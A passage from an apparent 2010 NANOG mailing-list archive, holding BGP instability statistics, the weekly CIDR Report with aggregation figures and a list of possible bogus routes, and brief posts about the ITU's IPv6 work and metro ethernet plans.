-- COC - City of Calgary 15 - AS45769 7240 0.7% 144.8 -- DVOIS-IN No. 70, 2nd Floor, 9th Main, H.M.T. Main Road 16 - AS17974 6886 0.7% 10.4 -- TELKOMNET-AS2-AP PT Telekomunikasi Indonesia 17 - AS5800 6566 0.6% 24.8 -- DNIC-ASBLK-05800-06055 - DoD Network Information Center 18 - AS27097 5510 0.5% 1102.0 -- DNIC-ASBLK-27032-27159 - DoD Network Information Center 19 - AS8151 5380 0.5% 6.1 -- Uninet S.A. de C.V. 20 - AS8452 5358 0.5% 8.9 -- TEDATA TEDATA TOP 20 Unstable Origin AS (Updates per announced prefix) Rank ASN Upds % Upds/Pfx AS-Name 1 - AS26025 7281 0.7% 7281.0 -- COC - City of Calgary 2 - AS31055 19341 1.8% 6447.0 -- CONSULTIX-AS Consultix GmbH 3 - AS45408 9876 0.9% 4938.0 -- 4 - AS16569 8222 0.8% 4111.0 -- ASN-CITY-OF-CALGARY - City of Calgary 5 - AS5691 2624 0.2% 2624.0 -- MITRE-AS-5 - The MITRE Corporation 6 - AS27245 1785 0.2% 1785.0 -- HEIDRICK-CHICAGO - HEIDRICK 7 - AS45983 11585 1.1% 1448.1 -- SKUNIV-AS-KR Seokyeong UNIV. 8 - AS17819 8217 0.8% 1369.5 -- ASN-EQUINIX-AP Equinix Asia Pacific 9 - AS27097 5510 0.5% 1102.0 -- DNIC-ASBLK-27032-27159 - DoD Network Information Center 10 - AS28878 7287 0.7% 1041.0 -- SIGNET-AS Signet B.V. 11 - AS3220 644 0.1% 644.0 -- INTERNET-TECHNOLOGY-ADVISORS The AS formally known as EUnet Sweden 12 - AS28052 565 0.1% 565.0 -- Arte Radiotelevisivo Argentino 13 - AS45960 554 0.1% 554.0 -- YTLCOMMS-AS-AP YTL COMMUNICATIONS SDN BHD 14 - AS32794 546 0.1% 546.0 -- ICFG - International Church of the Foursquare Gospel 15 - AS27027 452 0.0% 452.0 -- ANBELL ASN-ANBELL 16 - AS10445 2611 0.2% 435.2 -- HTG - Huntleigh Telcom 17 - AS17964 4026 0.4% 402.6 -- DXTNET Beijing Dian-Xin-Tong Network Technologies Co., Ltd. 18 - AS12130 401 0.0% 401.0 -- BWCCLEC - Bandwidth.com CLEC LLC 19 - AS35291 793 0.1% 396.5 -- ICOMM-AS SC Internet Communication Systems SRL 20 - AS47961 345 0.0% 345.0 -- SATLINK SATLINK COMMUNICATIONS LTD . TOP 20 Unstable Prefixes Rank Prefix Upds % Origin AS -- AS Name 1 - 62.168.199.0/24 19316 1.7% AS31055 -- CONSULTIX-AS Consultix GmbH 2 - 208.98.230.0/24 8221 0.7% AS16569 -- ASN-CITY-OF-CALGARY - City of Calgary 3 - 208.98.231.0/24 7281 0.6% AS26025 -- COC - City of Calgary 4 - 214.15.217.0/24 5372 0.5% AS27097 -- DNIC-ASBLK-27032-27159 - DoD Network Information Center 5 - 193.177.160.0/23 5229 0.5% AS28878 -- SIGNET-AS Signet B.V. 6 - 114.70.96.0/24 4938 0.4% AS45408 -- 7 - 114.70.97.0/24 4938 0.4% AS45408 -- 8 - 121.65.245.0/24 3603 0.3% AS45983 -- SKUNIV-AS-KR Seokyeong UNIV. 9 - 199.114.154.0/24 3338 0.3% AS1733 -- CENTAF-SWA - 754th Electronic Systems Group 10 - 143.138.107.0/24 2963 0.3% AS747 -- TAEGU-AS - Headquarters, USAISC 11 - 202.167.253.0/24 2798 0.2% AS17819 -- ASN-EQUINIX-AP Equinix Asia Pacific 12 - 202.177.223.0/24 2798 0.2% AS17819 -- ASN-EQUINIX-AP Equinix Asia Pacific 13 - 192.12.120.0/24 2624 0.2% AS5691 -- MITRE-AS-5 - The MITRE Corporation 14 - 202.167.247.0/24 2606 0.2% AS17819 -- ASN-EQUINIX-AP Equinix Asia Pacific 15 - 91.208.167.0/24 2041 0.2% AS28878 -- SIGNET-AS Signet B.V. 16 - 203.249.122.0/24 1894 0.2% AS45983 -- SKUNIV-AS-KR Seokyeong UNIV. 17 - 63.84.91.0/24 1785 0.2% AS27245 -- HEIDRICK-CHICAGO - HEIDRICK 18 - 212.220.14.0/24 1645 0.1% AS34875 -- YANFES OJSC "Uralsviazinform" 19 - 117.17.148.0/24 1478 0.1% AS45983 -- SKUNIV-AS-KR Seokyeong UNIV. AS4766 -- KIXS-AS-KR Korea Telecom 20 - 210.110.40.0/22 1478 0.1% AS45983 -- SKUNIV-AS-KR Seokyeong UNIV. AS4766 -- KIXS-AS-KR Korea Telecom Details at http://bgpupdates.potaroo.net ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From jmamodio at gmail.com Fri Feb 26 16:00:32 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 26 Feb 2010 16:00:32 -0600 Subject: [Fwd: [members-discuss] [ncc-announce] RIPE NCC Position On The ITU IPv6 Group] In-Reply-To: References: <20100226170924.99ADB1CC0E@ptavv.es.net> <1267208530.26166.15.camel@ub-g-d2> Message-ID: <202705b1002261400mf35a010m133d21442fea9018@mail.gmail.com> > Some googling for 'itu ipv6' turns up the following (among other things): > > http://www.itu.int/net/ITU-T/ipv6/itudocs.aspx yeah, yeah, ITU still making noise with the Y Series docs and NGN (Next Generation Networks) framework. Jeloooouuuuuuu ITU, kind of you are 25+ years late ... From cidr-report at potaroo.net Fri Feb 26 16:00:00 2010 From: cidr-report at potaroo.net (cidr-report at potaroo.net) Date: Fri, 26 Feb 2010 22:00:00 GMT Subject: The Cidr Report Message-ID: <201002262200.o1QM00AE045993@wattle.apnic.net> This report has been generated at Fri Feb 26 06:11:26 2010 AEST. The report analyses the BGP Routing Table of AS2.0 router and generates a report on aggregation potential within the table. Check http://www.cidr-report.org for a current version of this report. Recent Table History Date Prefixes CIDR Agg 19-02-10 314156 193278 20-02-10 314382 193171 21-02-10 314286 193384 22-02-10 314579 193201 23-02-10 314271 193206 24-02-10 314688 193182 25-02-10 314529 193511 26-02-10 314600 193465 AS Summary 33695 Number of ASes in routing system 14346 Number of ASes announcing only one prefix 4384 Largest number of prefixes announced by an AS AS4323 : TWTC - tw telecom holdings, inc. 93180416 Largest address span announced by an AS (/32s) AS4134 : CHINANET-BACKBONE No.31,Jin-rong Street Aggregation Summary The algorithm used in this report proposes aggregation only when there is a precise match using the AS path, so as to preserve traffic transit policies. Aggregation is also proposed across non-advertised address space ('holes'). --- 26Feb10 --- ASnum NetsNow NetsAggr NetGain % Gain Description Table 314483 193473 121010 38.5% All ASes AS6389 4110 320 3790 92.2% BELLSOUTH-NET-BLK - BellSouth.net Inc. AS4323 4384 1852 2532 57.8% TWTC - tw telecom holdings, inc. AS4766 1860 491 1369 73.6% KIXS-AS-KR Korea Telecom AS1785 1838 660 1178 64.1% AS-PAETEC-NET - PaeTec Communications, Inc. AS4755 1287 213 1074 83.4% TATACOMM-AS TATA Communications formerly VSNL is Leading ISP AS22773 1101 74 1027 93.3% ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. AS18566 1059 33 1026 96.9% COVAD - Covad Communications Co. AS17488 1289 346 943 73.2% HATHWAY-NET-AP Hathway IP Over Cable Internet AS8151 1584 674 910 57.4% Uninet S.A. de C.V. AS18101 1083 221 862 79.6% RIL-IDC Reliance Infocom Ltd Internet Data Centre, AS10620 1010 178 832 82.4% TV Cable S.A. AS19262 1068 243 825 77.2% VZGNI-TRANSIT - Verizon Internet Services Inc. AS6478 1116 444 672 60.2% ATT-INTERNET3 - AT&T WorldNet Services AS4808 852 238 614 72.1% CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network AS4804 678 72 606 89.4% MPX-AS Microplex PTY LTD AS7303 678 106 572 84.4% Telecom Argentina S.A. AS4134 1019 460 559 54.9% CHINANET-BACKBONE No.31,Jin-rong Street AS7018 1561 1008 553 35.4% ATT-INTERNET4 - AT&T WorldNet Services AS17908 768 230 538 70.1% TCISL Tata Communications AS8452 866 330 536 61.9% TEDATA TEDATA AS24560 849 316 533 62.8% AIRTELBROADBAND-AS-AP Bharti Airtel Ltd., Telemedia Services AS3356 1165 660 505 43.3% LEVEL3 Level 3 Communications AS28573 910 407 503 55.3% NET Servicos de Comunicao S.A. AS35805 579 83 496 85.7% UTG-AS United Telecom AS AS4780 631 137 494 78.3% SEEDNET Digital United Inc. AS7545 975 494 481 49.3% TPG-INTERNET-AP TPG Internet Pty Ltd AS17676 563 82 481 85.4% GIGAINFRA Softbank BB Corp. AS9443 559 80 479 85.7% INTERNETPRIMUS-AS-AP Primus Telecommunications AS9808 462 14 448 97.0% CMNET-GD Guangdong Mobile Communication Co.Ltd. AS7738 476 30 446 93.7% Telecomunicacoes da Bahia S.A. Total 36380 10496 25884 71.1% Top 30 total Possible Bogus Routes 1.0.0.0/8 AS237 MERIT-AS-14 - Merit Network Inc. 2.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 2.2.2.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 41.77.236.0/22 AS5.8 41.190.64.0/22 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 41.190.66.0/24 AS37039 41.202.96.0/19 AS29571 CITelecom-AS 41.216.32.0/19 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 41.220.144.0/20 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 41.220.159.0/24 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 41.222.79.0/24 AS36938 AMSCOTELECOMS Amsco Telecommunications Nigeria Limited 41.223.24.0/22 AS25747 VSC-SATELLITE-CO - VSC Satellite Co. 41.223.92.0/22 AS36936 CELTEL-GABON Celtel Gabon Internet Service 41.223.188.0/24 AS22351 INTELSAT Intelsat Global BGP Routing Policy 41.223.189.0/24 AS26452 BRING-AS - BringCom, Inc. 41.223.196.0/24 AS36990 41.223.197.0/24 AS36990 41.223.198.0/24 AS36990 41.223.199.0/24 AS36990 46.0.0.0/16 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.0.0/21 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 46.1.24.0/24 AS12654 RIPE-NCC-RIS-AS RIPE NCC RIS project 62.61.220.0/24 AS24974 TACHYON-EU Tachyon Europe BV 62.61.221.0/24 AS24974 TACHYON-EU Tachyon Europe BV 62.193.160.0/19 AS22351 INTELSAT Intelsat Global BGP Routing Policy 63.140.213.0/24 AS22555 UTC - Universal Talkware Corporation 63.143.251.0/24 AS22555 UTC - Universal Talkware Corporation 64.82.128.0/19 AS16617 COMMUNITYISP - CISP 64.82.160.0/19 AS16617 COMMUNITYISP - CISP 66.128.38.0/24 AS15246 Telecomunicaciones Satelitales TelesatS.A. 66.180.239.0/24 AS35888 VIGNETTE - VIGNETTE CORPORATION 66.206.32.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.33.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.34.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.35.0/24 AS17787 PSEB-AS-PK Pakistan Software Export Board 66.206.47.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 66.207.32.0/20 AS23011 66.230.240.0/20 AS27286 66.241.112.0/20 AS21547 REVNETS - Revolution Networks 66.245.176.0/20 AS19318 NJIIX-AS-1 - NEW JERSEY INTERNATIONAL INTERNET EXCHANGE LLC 69.6.80.0/24 AS13442 69.6.81.0/24 AS13442 69.71.192.0/20 AS13818 PHX-INTL-TELEPORT - Phoenix International Teleport 69.80.224.0/19 AS19166 ACRONOC - ACRONOC INC 71.19.134.0/23 AS3313 INET-AS I.NET S.p.A. 71.19.160.0/23 AS4648 NZIX-2 Netgate 80.88.10.0/24 AS33774 DJAWEB 80.88.12.0/24 AS33779 wataniya-telecom-as 80.248.64.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.65.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.66.0/23 AS30982 CAFETG AS de CAFE Informatique 80.248.68.0/23 AS30982 CAFETG AS de CAFE Informatique 80.248.70.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.71.0/24 AS30982 CAFETG AS de CAFE Informatique 80.248.72.0/21 AS30982 CAFETG AS de CAFE Informatique 80.250.32.0/23 AS21452 SKANNET-IBADAN SKANNET IP Network 80.250.34.0/23 AS21452 SKANNET-IBADAN SKANNET IP Network 81.91.224.0/20 AS28683 OPT-NTIC-AS Office des Postes et telecommunications du Benin 100.100.100.0/24 AS36992 ETISALAT-MISR 110.34.40.0/22 AS24399 ABN-PEERING-AS-AP Asia Broadcast Networks Peering AS 110.34.44.0/22 AS12653 COMTONET KB Impuls Hellas 117.120.56.0/21 AS4755 TATACOMM-AS TATA Communications formerly VSNL is Leading ISP 121.46.0.0/16 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 121.50.168.0/21 AS9931 CAT-AP The Communication Authoity of Thailand, CAT 158.222.70.0/23 AS6137 SISNA - SISNA, Inc. 158.222.72.0/23 AS6137 SISNA - SISNA, Inc. 158.222.224.0/20 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.224.0/22 AS19864 O1COMM - O1 COMMUNICATIONS 158.222.229.0/24 AS19864 O1COMM - O1 COMMUNICATIONS 172.7.0.0/24 AS36992 ETISALAT-MISR 190.102.32.0/20 AS30058 FDCSERVERS - FDCservers.net 192.9.0.0/16 AS11479 BRM-SUN-AS - Sun Microsystems, Inc 192.64.85.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.69.108.0/24 AS1759 TSF-IP-CORE TeliaSonera Finland IP Network 192.70.164.0/24 AS25689 NRCNET-AS - National Research Council of Canada 192.101.45.0/24 AS2905 TICSA-ASN 192.101.46.0/24 AS6503 Axtel, S.A.B. de C. V. 192.101.64.0/21 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.70.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.71.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 192.101.72.0/24 AS702 AS702 Verizon Business EMEA - Commercial IP service provider in Europe 192.101.74.0/24 AS1239 SPRINTLINK - Sprint 192.124.248.0/23 AS680 DFN-IP service X-WiN 192.124.252.0/22 AS680 DFN-IP service X-WiN 192.129.127.0/24 AS6568 Ag para el Desarrollo de la Sociedad de la Inf en Bolivia - ADSIB 192.131.233.0/24 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 192.133.6.0/24 AS10282 ORANGE-BUSINESS-SERVICES-CEEUR Orange Business Services (formerly Equant) AS for CEEUR 192.139.3.0/24 AS23184 PERSONA - PERSONA COMMUNICATIONS INC. 192.153.144.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 192.154.32.0/19 AS81 NCREN - MCNC 192.154.64.0/19 AS81 NCREN - MCNC 192.188.208.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 196.2.224.0/22 AS24863 LINKdotNET-AS 196.6.108.0/24 AS5713 SAIX-NET 196.13.201.0/24 AS2018 TENET-1 196.13.202.0/24 AS2018 TENET-1 196.13.203.0/24 AS2018 TENET-1 196.13.204.0/24 AS2018 TENET-1 196.29.40.0/22 AS36918 OTAVSAT-AS ORASCOM TELECOM ALGERIE VSAT 196.32.96.0/20 AS33787 196.201.248.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.249.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.250.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.251.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.253.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.254.0/24 AS30991 SAHANNET Sahannet AS Network 196.201.255.0/24 AS30991 SAHANNET Sahannet AS Network 196.202.224.0/21 AS8818 TELE Greenland Autonomous System 196.216.4.0/22 AS23889 MAURITIUS-TELECOM-AS-AP 198.1.2.0/24 AS4761 INDOSAT-INP-AP INDOSAT Internet Network Provider 198.23.26.0/24 AS33052 VZUNET - Verizon Data Services LLC 198.73.210.0/24 AS21570 ACI-1 - Accelerated Connections Inc. 198.74.38.0/24 AS17233 ATT-CERFNET-BLOCK - AT&T Enhanced Network Services 198.74.39.0/24 AS17233 ATT-CERFNET-BLOCK - AT&T Enhanced Network Services 198.74.40.0/24 AS17233 ATT-CERFNET-BLOCK - AT&T Enhanced Network Services 198.97.72.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.96.0/19 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.97.240.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 198.135.236.0/24 AS4358 XNET - XNet Information Systems, Inc. 198.161.82.0/23 AS15290 ALLST-15290 - Allstream Corp. 198.161.87.0/24 AS6539 GT-BELL - Bell Canada 198.161.92.0/24 AS6539 GT-BELL - Bell Canada 198.163.214.0/24 AS21804 ACCESS-SK - Access Communications Co-operative Limited 198.167.0.0/16 AS7456 INTERHOP - Interhop Network SERVICES Inc. 198.168.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 198.169.0.0/16 AS803 SASKTEL - Saskatchewan Telecommunications 198.180.198.0/24 AS23715 SEOUL-INTGW-GXS-AP Global Exchange Services 198.182.235.0/24 AS3356 LEVEL3 Level 3 Communications 199.10.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.16.32.0/19 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 199.26.183.0/24 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.121.0.0/16 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.0.0/18 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.16.0/20 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.123.80.0/21 AS27064 DNIC-ASBLK-27032-27159 - DoD Network Information Center 199.185.130.0/23 AS19662 UNISERVE-ONLINE - Uniserve On Line 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.233.92.0/24 AS26896 D102-ITC - Data 102, LLC 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 200.1.112.0/24 AS29754 GO2TEL GO2TEL.COM INC. 200.108.176.0/20 AS14551 UUNET-SA - MCI Communications Services, Inc. d/b/a Verizon Business 202.9.55.0/24 AS2764 AAPT AAPT Limited 202.9.57.0/24 AS2764 AAPT AAPT Limited 202.38.52.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.54.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.56.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.57.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.58.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.59.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.60.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.61.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.63.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.58.113.0/24 AS19161 202.61.72.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.73.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.75.0/24 AS9927 PHILCOMNET-PH A Multihomed ISP Company 202.66.128.0/18 AS9584 GENESIS-AP Diyixian.com Limited 202.66.184.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.186.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.188.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.189.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.190.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.77.138.0/23 AS24487 202.79.224.0/21 AS9519 VERTELNET Vertical Telecoms Pty Ltd 202.80.192.0/20 AS2706 PI-HK Pacnet Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.89.8.0/22 AS6648 BAYAN-TELECOMMUNICATIONS Bayan Telecommunications, Inc. 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.133.37.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.146.184.0/23 AS24487 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.166.166.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.169.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.174.70.0/24 AS21175 WIS Wind International Services SA 202.174.125.0/24 AS9498 BBIL-AP BHARTI Airtel Ltd. 202.176.1.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.80.136.0/21 AS4759 EVOSERVE-AS-AP EvoServe is a content and online access Internet provider company 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.142.219.0/24 AS45149 203.160.130.0/23 AS24487 203.160.140.0/24 AS45560 203.160.141.0/24 AS10026 ANC Asia Netcom Corporation 203.160.142.0/24 AS45560 203.160.143.0/24 AS10026 ANC Asia Netcom Corporation 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.15.168.0/21 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.15.170.0/24 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.19.14.0/23 AS577 BACOM - Bell Canada 204.89.214.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.197.0.0/16 AS3356 LEVEL3 Level 3 Communications 204.209.114.0/24 AS13768 PEER1 - Peer 1 Network Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.108.96.0/19 AS577 BACOM - Bell Canada 206.128.104.0/21 AS11709 VIC - VIRTUAL INTERACTIVE CENTER 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.132.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.152.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.154.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.155.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.188.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.189.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.190.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.191.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.66.152.0/24 AS18499 208.66.153.0/24 AS18499 208.66.154.0/24 AS18499 208.66.155.0/24 AS18499 208.66.156.0/24 AS18499 208.66.157.0/24 AS18499 208.66.158.0/24 AS18499 208.66.159.0/24 AS18499 208.73.4.0/22 AS27630 PREMIER - Premier Innovations, LLC 208.77.224.0/22 AS174 COGENT Cogent/PSI 208.77.229.0/24 AS174 COGENT Cogent/PSI 208.77.230.0/23 AS174 COGENT Cogent/PSI 208.78.164.0/24 AS16565 208.78.165.0/24 AS16565 208.78.167.0/24 AS16565 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.87.208.0/24 AS31997 209.87.209.0/24 AS31997 209.87.210.0/24 AS31997 209.87.211.0/24 AS31997 209.87.212.0/22 AS31997 209.87.216.0/24 AS31997 209.87.217.0/24 AS31997 209.87.218.0/24 AS31997 209.87.219.0/24 AS31997 209.87.220.0/24 AS31997 209.87.221.0/24 AS31997 209.87.222.0/24 AS31997 209.87.223.0/24 AS31997 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.177.160.0/24 AS18499 209.177.161.0/24 AS18499 209.177.162.0/24 AS18499 209.177.163.0/24 AS18499 209.177.164.0/24 AS18499 209.177.165.0/24 AS18499 209.177.166.0/24 AS18499 209.177.167.0/24 AS18499 209.177.168.0/24 AS18499 209.177.169.0/24 AS18499 209.177.170.0/24 AS18499 209.177.171.0/24 AS18499 209.177.172.0/24 AS18499 209.177.173.0/24 AS18499 209.177.174.0/24 AS18499 209.177.175.0/24 AS18499 209.213.0.0/20 AS33005 ELTOPIA - Eltopia.com, LLC 209.213.1.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 209.213.4.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 210.56.150.0/23 AS38138 INTECH-TRANSIT-BD InTech Online Limited, INTERNET SERVICE LIMITED 210.247.224.0/19 AS7496 WEBCENTRAL-AS WebCentral 213.150.96.0/21 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 213.150.104.0/22 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 213.150.112.0/22 AS25568 KENYAWEB-AS Kenyaweb.com, Nairobi Kenya 216.21.196.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.201.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.202.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.206.0/23 AS12251 INVISION - Invision.com, Inc. 216.58.192.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.197.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.200.0/24 AS18530 ISOMEDIA-1 - Isomedia Inc. 216.144.240.0/23 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.243.0/24 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.244.0/22 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.163.144.0/20 AS35985 ONERINGNET-ATL-1 - One Ring Networks, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.250.112.0/20 AS7296 ALCHEMYNET - Alchemy Communications, Inc. 216.250.116.0/24 AS36066 UNI-MARKETING-ALLIANCE - Webhost4life.com 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.29.208.0/23 AS33774 DJAWEB 217.29.212.0/23 AS33774 DJAWEB Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From james at freedomnet.co.nz Fri Feb 26 16:05:45 2010 From: james at freedomnet.co.nz (James Jones) Date: Fri, 26 Feb 2010 17:05:45 -0500 Subject: Locations with no good Internet (was ISP in Johannesburg) In-Reply-To: References: <1002262134.AA10367@ivan.Harhan.ORG> <4B883FE5.2000606@freedomnet.co.nz> Message-ID: <4B8845B9.7070507@freedomnet.co.nz> I am in planning states for a new metro ethernet service here in 